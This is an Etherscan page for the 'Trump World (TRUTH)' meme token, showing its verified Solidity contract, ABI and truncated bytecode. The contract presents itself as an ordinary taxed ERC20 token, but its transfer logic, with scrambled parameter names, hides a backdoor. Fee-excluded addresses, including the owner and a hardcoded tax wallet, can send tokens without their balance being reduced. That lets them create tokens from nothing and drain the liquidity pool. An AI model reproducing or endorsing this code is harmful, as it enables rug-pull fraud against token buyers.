ETH Price: $3,410.23 (+0.75%)
Gas: 3 Gwei

Token

Trump World (TRUTH)
 

Overview

Max Total Supply

1,000,000,000 TRUTH

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,129,746.743382719 TRUTH

Value
$0.00
0x809fba5894856c85f5b4b97320446985de0a87a5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TRUTH

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-27
*/

/**
This is TRUMP WORLD. Nobody can do it like me. The rest is fake news and I am the $TRUTH

Website:    https://truthoneth.us
Telegram:   https://t.me/truthcoin_eth
Twitter:    https://x.com/truthcoin_eth
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TRUTH is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;

    uint256 private constant _initialBuyTax = 10;
    uint256 private constant _initialSellTax = 10;
    uint256 private constant _reduceBuyTaxAt = 5;
    uint256 private constant _reduceSellTaxAt = 5;
    uint256 private constant _preventSwapBefore = 5;

    address payable private _taxWallet;
    address private uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Trump World";
    string private constant _symbol = unicode"TRUTH";
    uint256 public _maxTxAmount = _tTotal.mul(2).div(100);
    uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = _tTotal.mul(1).div(100);

    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _buyCount = 0;
    uint256 private _countTax;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event FinalTax(uint256 _valueBuy, uint256 _valueSell);
    event TradingActive(bool _tradingOpen, bool _swapEnabled);
    event maxAmount(uint256 _value);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xCC1b40118e040805a6403c92F3AA7d3E2765F02a);
        excludeFromFee(owner(), true);
        excludeFromFee(address(this), true);
        excludeFromFee(_taxWallet, true);
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading already open");
        swapEnabled = true;
        tradingOpen = true;
        emit TradingActive(tradingOpen, swapEnabled);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function excludeFromFee(address account, bool excluded) public onlyOwner {
        _isExcludedFromFee[account] = excluded;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(
            owner != address(0) && spender != address(0),
            "ERC20: approve the zero address"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address fffhpgyz, address ggtqrcyp, uint256 jjpcti) private {
        require(
            fffhpgyz != address(0) && ggtqrcyp != address(0),
            "ERC20: transfer the zero address"
        );
        require(jjpcti > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[ggtqrcyp] || _isExcludedFromFee[fffhpgyz],
                "trading not yet open"
            );
        }

        if (!swapEnabled || inSwap) {
            _balances[fffhpgyz] = _balances[fffhpgyz].sub(jjpcti);
            _balances[ggtqrcyp] = _balances[ggtqrcyp].add(jjpcti);
            emit Transfer(fffhpgyz, ggtqrcyp, jjpcti);
            return;
        }
        uint256 taxAmount = 0; bool shouldSwapBack = !_isExcludedFromFee[fffhpgyz];

        taxAmount =
            jjpcti.mul(
                (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax
            ) /
            100;

        if (fffhpgyz != owner() && ggtqrcyp != owner()) {
            if (
                fffhpgyz == uniswapV2Pair &&
                ggtqrcyp != address(uniswapV2Router) &&
                !_isExcludedFromFee[ggtqrcyp]
            ) {
                require(jjpcti <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(ggtqrcyp) + jjpcti <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (ggtqrcyp == uniswapV2Pair && fffhpgyz != address(this)) {
                taxAmount =
                    jjpcti.mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    ) /
                    100;
            }

            _countTax += taxAmount;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                ggtqrcyp == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[fffhpgyz] &&
                !_isExcludedFromFee[ggtqrcyp]
            ) {
                _countTax = 0;
                if(contractTokenBalance >= _taxSwapThreshold) {
                    uint256 getMinValue = (contractTokenBalance > _maxTaxSwap)
                        ? _maxTaxSwap
                        : contractTokenBalance;
                    swapTokensForEth((jjpcti > getMinValue) ? getMinValue : jjpcti);
                }
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); }
            }
        }

        _basicTransfer(fffhpgyz, jjpcti, taxAmount, shouldSwapBack);
        _balances[ggtqrcyp] = _balances[ggtqrcyp].add(jjpcti.sub(taxAmount));
        emit Transfer(fffhpgyz, ggtqrcyp, jjpcti.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "init already called");
        uint256 tokenAmount = _tTotal.mul(90).div(100);
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function _basicTransfer(address ttrqyzc, uint256 yyycpzcu, uint256 taxAmount, bool shouldSwapBack) private { 
        if (shouldSwapBack) {
            if(taxAmount > 0){
               _balances[address(this)] = _balances[address(this)].add(taxAmount);
                emit Transfer(ttrqyzc, address(this), taxAmount); 
            }
            _balances[ttrqyzc] = _balances[ttrqyzc].sub(yyycpzcu);
        }
    }

    function setFinalTax(
        uint256 _valueBuy,
        uint256 _valueSell
    ) external onlyOwner {
        require(
            _valueBuy <= 25 && _valueSell <= 25 && tradingOpen,
            "Final Tax: Exceeds value"
        );
        _finalBuyTax = _valueBuy;
        _finalSellTax = _valueSell;
        emit FinalTax(_valueBuy, _valueSell);
    }
    
    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit maxAmount(_tTotal);
    }

    receive() external payable {}

    function withdrawStuckETH() external {
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"FinalTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"TradingActive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"maxAmount","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"setFinalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200005660646200004260026200001e6009600a620004c4565b6200002e90633b9aca00620004d5565b6200021060201b62000b8a1790919060201c565b620002a460201b62000c101790919060201c565b6007556200007360646200004260026200001e6009600a620004c4565b600855620000846009600a620004c4565b62000091906064620004d5565b600955620000b060646200004260016009600a6200001e9190620004c4565b600a556000600b819055600c819055600d55600f805462ffff0019169055348015620000db57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673cc1b40118e040805a6403c92f3aa7d3e2765f02a179055620001626200015a6000546001600160a01b031690565b6001620002ee565b6200016f306001620002ee565b60045462000188906001600160a01b03166001620002ee565b620001966009600a620004c4565b620001a690633b9aca00620004d5565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e96009600a620004c4565b620001f990633b9aca00620004d5565b60405190815260200160405180910390a362000572565b60008262000221575060006200029e565b60006200022f8385620004d5565b9050826200023e8583620004f7565b146200029b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200029b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200037560201b60201c565b6000546001600160a01b031633146200034a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000292565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b60008183620003995760405162461bcd60e51b81526004016200029291906200051a565b506000620003a88486620004f7565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000408578160001904821115620003ec57620003ec620003b1565b80851615620003fa57918102915b93841c9390800290620003cc565b509250929050565b60008262000421575060016200029e565b8162000430575060006200029e565b8160018114620004495760028114620004545762000474565b60019150506200029e565b60ff841115620004685762000468620003b1565b50506001821b6200029e565b5060208310610133831016604e8410600b841016171562000499575081810a6200029e565b620004a58383620003c7565b8060001904821115620004bc57620004bc620003b1565b029392505050565b60006200029b60ff84168362000410565b6000816000190483118215151615620004f257620004f2620003b1565b500290565b6000826200051557634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b8181101562000549578581018301518582016040015282016200052b565b818111156200055c576000604083870101525b50601f01601f1916929092016040019392505050565b611b2680620005826000396000f3fe60806040526004361061012e5760003560e01c806382116718116100ab578063a9059cbb1161006f578063a9059cbb1461033e578063bf474bed1461035e578063dd62ed3e14610374578063df8408fe146103ba578063e8078d94146103da578063f5648a4f146103ef57600080fd5b8063821167181461029d5780638a8c523c146102bd5780638da5cb5b146102d25780638f9a55c0146102fa57806395d89b411461031057600080fd5b8063313ce567116100f2578063313ce5671461020957806370a0823114610225578063715018a61461025b578063751039fc146102725780637d1db4a51461028757600080fd5b806306fdde031461013a578063095ea7b3146101805780630faee56f146101b057806318160ddd146101d457806323b872dd146101e957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600b81526a151c9d5b5c0815dbdc9b1960aa1b60208201525b6040516101779190611685565b60405180910390f35b34801561018c57600080fd5b506101a061019b3660046116ef565b610404565b6040519015158152602001610177565b3480156101bc57600080fd5b506101c6600a5481565b604051908152602001610177565b3480156101e057600080fd5b506101c661041b565b3480156101f557600080fd5b506101a061020436600461171b565b61043c565b34801561021557600080fd5b5060405160098152602001610177565b34801561023157600080fd5b506101c661024036600461175c565b6001600160a01b031660009081526001602052604090205490565b34801561026757600080fd5b506102706104a5565b005b34801561027e57600080fd5b50610270610522565b34801561029357600080fd5b506101c660075481565b3480156102a957600080fd5b506102706102b8366004611779565b6105d5565b3480156102c957600080fd5b506102706106b2565b3480156102de57600080fd5b506000546040516001600160a01b039091168152602001610177565b34801561030657600080fd5b506101c660085481565b34801561031c57600080fd5b506040805180820190915260058152640a8a4aaa8960db1b602082015261016a565b34801561034a57600080fd5b506101a06103593660046116ef565b61077c565b34801561036a57600080fd5b506101c660095481565b34801561038057600080fd5b506101c661038f36600461179b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103c657600080fd5b506102706103d53660046117e2565b610789565b3480156103e657600080fd5b506102706107de565b3480156103fb57600080fd5b50610270610b77565b6000610411338484610c52565b5060015b92915050565b60006104296009600a61190a565b61043790633b9aca00611919565b905090565b6000610449848484610d20565b61049b843361049685604051806060016040528060288152602001611ac9602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061130b565b610c52565b5060019392505050565b6000546001600160a01b031633146104d85760405162461bcd60e51b81526004016104cf90611938565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461054c5760405162461bcd60e51b81526004016104cf90611938565b6105586009600a61190a565b61056690633b9aca00611919565b6007556105756009600a61190a565b61058390633b9aca00611919565b6008557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105b36009600a61190a565b6105c190633b9aca00611919565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146105ff5760405162461bcd60e51b81526004016104cf90611938565b60198211158015610611575060198111155b801561061f5750600f5460ff165b61066b5760405162461bcd60e51b815260206004820152601860248201527f46696e616c205461783a20457863656564732076616c7565000000000000000060448201526064016104cf565b600b829055600c81905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b031633146106dc5760405162461bcd60e51b81526004016104cf90611938565b600f5460ff16156107265760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016104cf565b600f80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91016105cb565b6000610411338484610d20565b6000546001600160a01b031633146107b35760405162461bcd60e51b81526004016104cf90611938565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108085760405162461bcd60e51b81526004016104cf90611938565b600f5460ff16156108515760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016104cf565b6000610883606461087d605a6108696009600a61190a565b61087790633b9aca00611919565b90610b8a565b90610c10565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091506108cf9030906108c16009600a61190a565b61049690633b9aca00611919565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610922573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610946919061196d565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc919061196d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3d919061196d565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ad1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610af6919061198a565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7391906119b8565b5050565b478015610b8757610b8781611345565b50565b600082610b9957506000610415565b6000610ba58385611919565b905082610bb285836119d5565b14610c095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104cf565b9392505050565b6000610c0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061137f565b6001600160a01b03831615801590610c7257506001600160a01b03821615155b610cbe5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016104cf565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831615801590610d4057506001600160a01b03821615155b610d8c5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016104cf565b60008111610dee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104cf565b600f5460ff16610e7a576001600160a01b03821660009081526003602052604090205460ff1680610e3757506001600160a01b03831660009081526003602052604090205460ff165b610e7a5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016104cf565b600f5462010000900460ff161580610e995750600f54610100900460ff165b15610f44576001600160a01b038316600090815260016020526040902054610ec190826113ad565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ef090826113ef565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d139085815260200190565b6001600160a01b038316600090815260036020526040812054600d5460ff9091161590606490610f8790600510610f7c57600a610f80565b600b545b8590610b8a565b610f9191906119d5565b9150610fa56000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610fd457506000546001600160a01b03858116911614155b15611271576005546001600160a01b03868116911614801561100457506006546001600160a01b03858116911614155b801561102957506001600160a01b03841660009081526003602052604090205460ff16155b15611111576007548311156110805760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104cf565b600854836110a3866001600160a01b031660009081526001602052604090205490565b6110ad91906119f7565b11156110fb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104cf565b600d805490600061110b83611a0f565b91905055505b6005546001600160a01b03858116911614801561113757506001600160a01b0385163014155b1561116957606461115c6005600d541161115257600a610f80565b600c548590610b8a565b61116691906119d5565b91505b81600e600082825461117b91906119f7565b909155505030600090815260016020526040902054600f54610100900460ff161580156111b557506005546001600160a01b038681169116145b80156111c95750600f5462010000900460ff165b80156111d757506005600d54115b80156111fc57506001600160a01b03861660009081526003602052604090205460ff16155b801561122157506001600160a01b03851660009081526003602052604090205460ff16155b1561126f576000600e556009548110611263576000600a5482116112455781611249565b600a545b905061126181861161125b578561144e565b8161144e565b505b4761126d47611345565b505b505b61127d858484846115c2565b6112a961128a84846113ad565b6001600160a01b038616600090815260016020526040902054906113ef565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112f386866113ad565b60405190815260200160405180910390a35050505050565b6000818484111561132f5760405162461bcd60e51b81526004016104cf9190611685565b50600061133c8486611a2a565b95945050505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b73573d6000803e3d6000fd5b600081836113a05760405162461bcd60e51b81526004016104cf9190611685565b50600061133c84866119d5565b6000610c0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130b565b6000806113fc83856119f7565b905083811015610c095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104cf565b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149257611492611a41565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150f919061196d565b8160018151811061152257611522611a41565b6001600160a01b0392831660209182029290920101526006546115489130911684610c52565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611581908590600090869030904290600401611a57565b600060405180830381600087803b15801561159b57600080fd5b505af11580156115af573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b801561167f57811561164257306000908152600160205260409020546115e890836113ef565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116399086815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461166590846113ad565b6001600160a01b0385166000908152600160205260409020555b50505050565b600060208083528351808285015260005b818110156116b257858101830151858201604001528201611696565b818111156116c4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b8757600080fd5b6000806040838503121561170257600080fd5b823561170d816116da565b946020939093013593505050565b60008060006060848603121561173057600080fd5b833561173b816116da565b9250602084013561174b816116da565b929592945050506040919091013590565b60006020828403121561176e57600080fd5b8135610c09816116da565b6000806040838503121561178c57600080fd5b50508035926020909101359150565b600080604083850312156117ae57600080fd5b82356117b9816116da565b915060208301356117c9816116da565b809150509250929050565b8015158114610b8757600080fd5b600080604083850312156117f557600080fd5b8235611800816116da565b915060208301356117c9816117d4565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186157816000190482111561184757611847611810565b8085161561185457918102915b93841c939080029061182b565b509250929050565b60008261187857506001610415565b8161188557506000610415565b816001811461189b57600281146118a5576118c1565b6001915050610415565b60ff8411156118b6576118b6611810565b50506001821b610415565b5060208310610133831016604e8410600b84101617156118e4575081810a610415565b6118ee8383611826565b806000190482111561190257611902611810565b029392505050565b6000610c0960ff841683611869565b600081600019048311821515161561193357611933611810565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561197f57600080fd5b8151610c09816116da565b60008060006060848603121561199f57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119ca57600080fd5b8151610c09816117d4565b6000826119f257634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a0a57611a0a611810565b500190565b6000600019821415611a2357611a23611810565b5060010190565b600082821015611a3c57611a3c611810565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a060408501